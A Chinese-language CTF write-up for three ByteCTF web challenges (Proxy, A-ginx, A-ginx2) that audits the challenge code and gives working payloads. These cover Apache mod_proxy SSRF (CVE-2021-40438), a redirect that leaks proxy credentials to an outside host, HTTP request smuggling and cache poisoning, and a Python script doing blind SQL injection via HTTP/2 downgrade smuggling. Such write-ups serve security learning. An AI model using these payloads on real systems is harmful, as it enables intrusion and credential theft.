Proxy 代码审计 在httpd.conf文件中可以看到代理配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ServerName bytectf Listen 8123<VirtualHost  "*:8123 ">      ProxyRequests On     <Proxy  "*">          AuthType Basic         AuthName "Only For Internal Use, Password Required"         AuthUserFile password.file         AuthGroupFile group.file         Require group usergroup         Require host web     </Proxy > </VirtualHost >  Listen 80<VirtualHost  "*:80 ">      ProxyPass "/" "http://website/" disablereuse=On</VirtualHost > 
 
8123为代理端口,80端口(也就是我们能访问的端口)的请求转发到website页面
该页面是个纯前端文件
那么我们继续看internal部分的app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from  flask import  Flask, request, render_templateimport  requests, os PROXY_USER = os.getenv('CHALL_PROXY_USER' ) PROXY_PASS = os.getenv('CHALL_PROXY_PASS' ) PROXIES = {'http' : f'http://{PROXY_USER} :{PROXY_PASS} @proxy:8123' , 'https' : f'http://{PROXY_USER} :{PROXY_PASS} @proxy:8123' } app = Flask(__name__)@app.route('/'  ) def  main ():     return  render_template('index.html' )@app.route('/fetch' , methods=['POST' ] ) def  fetch ():     if  not  request.form['url' ]:         return  f'Please provide url'      app.logger.info(request.form['url' ])     try :         resp = requests.get(request.form['url' ], timeout=5 , proxies=PROXIES)     except  Exception as  e:         app.logger.error(f'Error: {e} ' )         return  'Error'      if  resp.status_code == 200 :         return  resp.text     else :         app.logger.warning(f'Error: status {resp.status_code} ' )         return  'Error' if  __name__ == '__main__' :     app.run()
 
可以通过fetch路由发出代理请求
思路整理 注意到本题的proxypass就是flag
所以本题的大致解题思路梳理如下
通过SSRF访问到app.py的路由–>通过app.py发出一个向外的请求–>通过某种方式带出proxypass
(当然,赛后梳理思路属于是射箭画靶的行为,比赛尝试了各种手段后才梳理到这条思路,最后也没做出来)
解题 SSRF 代理服务器为Apache 2.4.48
直接google开搜,可以找到apache mod_proxy SSRF,适用版本 <=2.4.48
CVE-2021-40438,该漏洞的具体成因可以参考这篇文章 
可以通过如下payload进行SSRF访问到internal页面
1 GET /?unix:AAAAAAA……AA|http:/ /internal/ 
 
带出代理密码 注意到题目给出的附件中特意指定了python的requests版本为2.25.1
Python requests库2.25.1及以下版本在处理302跳转时会带着proxy验证头
原因分析:https://github.com/psf/requests/issues/5677 
payload:
1 2 3 4 5 POST  /unix:AAAA...AAA|http://internal/fetch  HTTP/1.1 Host :  47.95.118.231:30888Content-Type :  application/x-www-form-urlencodedurl=https:// httpbingo.org/redirect-to?url=https:/ /httpbingo.org/ headers 
 
A-ginx 首先感谢超级无敌大学霸Nama的分析 
首页登录进去之后是一个发病库(我看了两小时的超级敏感)
可以在上面发布并查询小作文
代码审计 flag藏身处 
handler.go里能看到一个GetFlag的路由,跟进flag.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package  flagimport  ( 	"fmt"  	"net"  	"os"  	"strings"  	"github.com/gin-gonic/gin"  )var  network = "172.16.0.0/12" func  GetFlag (c *gin.Context)   { 	username := c.GetString("username" ) 	rip := c.Request.Header.Get("X-Sup3r-Re4l-Ip" ) 	ip := net.ParseIP(strings.Split(rip, ":" )[0 ]) 	_, subnet, _ := net.ParseCIDR(network) 	if  ip == nil  { 		c.JSON(200 , gin.H{ 			"status" :  -1 , 			"message" : "Invalid address" , 		}) 		return  	} else  if  !subnet.Contains(ip) { 		c.JSON(200 , gin.H{ 			"status" :  -1 , 			"message" : fmt.Sprintf("Your ip is %s, not in %s." , ip, network), 		}) 		return  	} 	if  username != "admin"  { 		c.JSON(200 , gin.H{ 			"status" :  -1 , 			"message" : fmt.Sprintf("You are %s, not admin." , username), 		}) 		return  	} 	flag := os.Getenv("FLAG" ) 	c.JSON(200 , gin.H{ 		"status" : 0 , 		"flag" :   flag, 	}) }
 
在X-Sup3r-Re4l-Ip是172.16.0.0/12的子网且username为admin时,访问获取flag
BOT行为分析 
pow,没啥好说的
过了pow之后可以让管理员check文章,重点关注check文章部分
注意到有脚本执行函数,可以造成XSS
Aginx服务 
注意到服务中存在缓存机制,通过url判断是否返回缓存
如果没有缓存,就发起代理请求,返回的状态码为200时保存缓存
技术要点 我们的最终目的是获得flag。因为BOT的存在,很容易想到通过XSS令BOT访问/flag后,我们再通过某种方式获取flag。
那这个“某种方式”是什么呢?
缓存攻击 在有缓存机制的服务中,如果对缓存处理不当,就有可能进行Web缓存欺骗攻击 
缓存攻击图解 
简单来说,就是通过构造特殊的访问请求,令代理服务器错误地缓存了本不应该缓存的内容,令该缓存内容变成可以公开访问的公共资源
在本题中,请求的url会经过字符串CheckStaticPath匹配,如果判断为静态内容,就会返回缓存
正则表达式 
那么此处要如何进行缓存攻击呢?
请求走私 HTTP请求走私攻击 
HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。这样一来,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。
 
我们直接来看下面这个payload
1 2 3 4 5 6 GET  /static/ibuki%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview  HTTP/2 Host :  39.105.13.40:30443Content-Type :  application/x-www-form-urlencodedContent-Length :  22title =xss&content=test
 
GET请求中的%0D%0A%0D%0A在urldecode之后变成了\r\n\r\n,从而结束当前的GET请求,同时在后面写上一个新的POST请求,就可以将preview界面的内容缓存下来,存在/static/ibuki%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview这个奇奇怪怪的url下面
攻击思路 现在已经有了对BOT进行xss攻击的手段,接下来就是如何获取flag的细节问题了
在impakho大佬的wp 里,impakho佬使用了这样的手段:
由于文章发表时,通过登录凭据Authorization的值来确定文章作者,而我们自身账号的Authorization我们当然是已知的,所以可以通过XSS,让BOT以我们的Authorization来发表文章,这样我们就能直接在文章列表里看到文章内容。
impakho大佬先以此获得了管理员的密码,得到Authorization,然后再将flag发表到自己的文章列表里,从而得到flag。
出题人给出的标准解法是:
服务端在处理..%2f 时会返回一个302跳转,同时JavaScript会默认的跟随跳转。由此,可以在一个fetch请求中发出两个数据包。
1 2 3 4 5 6 7 8 9 10 11 GET  /articles/..%2 f..%2 fstatic/Kur4 ge1337 .json HTTP/1 .1 xxx HTTP /1 .1  302  Moved TemporarilyLocation : /static/Kur4 ge1337 .jsonxxx GET  /static/Kur4 ge1337 .json HTTP/1 .1 xxx HTTP /1 .1  200  OK
 
即可以令BOT也进行请求走私,在访问/flag时带有管理员的Authorization。
然后就是出题人提到的,也是Nama最后给出的简单的非预期解法:
直接把flag污染到缓存中,不需要设置XSS
..%25252f..%25252fstatic%252fibukifalling.json%2520HTTP%252f1.1%250aHost:%2520localhost%250aConnection:%2520Keep-Alive%250a%250aGET%2520%252fflag
把上面的payload直接向bot发送两次,把flag存到对应的缓存中,可以直接访问
A-ginx2 代码审计 大体同A-ginx,不过这一次没有bot了,多了个SQL注入
但是这个WAF基本上把所有能过滤的东西全过滤了😅(800+个关键字,怕了怕了)
不过注意到这里只在aginx端对请求的url进行过滤,可以利用走私绕过WAF
HTTP/2 降级请求走私 贴一篇关于HTTP/2的走私分析
HTTP/2: The Sequel is Always Worse 
文章中提到,HTTP/2在和HTTP/1.1互相转换时,可能会出现一些解析上的问题。
例如:HTTP/2是不需要Content-Length的请求头的,但我们发送报文时依然可以带上这个请求头,虽然没有什么实际作用。
不过,当HTTP/2被降级为HTTP/1.1时,如果攻击者故意构造错误的Content-Length,就可以进行请求走私
如上图所示,原始请求body中超出Content-Length所声明长度的部分会被解析成一个新的请求。
本题中,由于WAF不会对body进行检查,所以我们可以把payload写在body里,然后通过上述方式走私至后端。
直接上抄的wp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import  httpximport  jsonfrom  urllib import  parse url = "https://127.0.0.1:30443/v/"  Auth = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDM4NjkzMzgsInVzZXJuYW1lIjoiaWJ1a2kifQ.it4eLgAYPlXOtG7adqPgfhmmk2T6M4M7dpsX4iY1f4I"  headers = {'Content-Length' :'4' }def  sqli (sql ):     query = parse.quote(json.dumps({f"title` OR (SELECT 1 FROM users WHERE username='admin' AND {sql} ) OR `title" :"n0t_Exsit" }))     data = f'''abcdGET /v/articles?pageNum=0&pageSize=36&query={query}  HTTP/1.1 Host: 127.0.0.1:30443 Connection: Keep-Alive Authorization: {Auth}  '''      with  httpx.Client(http2=True , verify=False ) as  c:         r = c.request("GET" ,url=url,headers=headers,data=data)         r = c.request("GET" ,url=url)         obj = json.loads(r.text)         return  len (obj['articles' ]) != 0  passwd = "" for  i in  range (1 ,29 ):     min  = 0x10      max  = 128      while  abs (max -min ) > 1 :         mid = (max  + min ) // 2          payload = f"ASCII(SUBSTR(password,{i} ,1))>{mid} "          if  sqli(payload):             min  = mid         else :             max  = mid     passwd += chr (max )     print (passwd)
 
爆出admin密码 
用管理员账号登录,可以得到管理员的Authorization
但是注意到此处获取flag时判断IP的XFF头是未知的
我们还需要获取XFF,而此处获取XFF同样可以使用降级走私,不过这一次是把Content-Length改大
连发两次,在返回报文中得到XFF头 
最后就可以利用admin的Auth与伪造的XFF头获取flag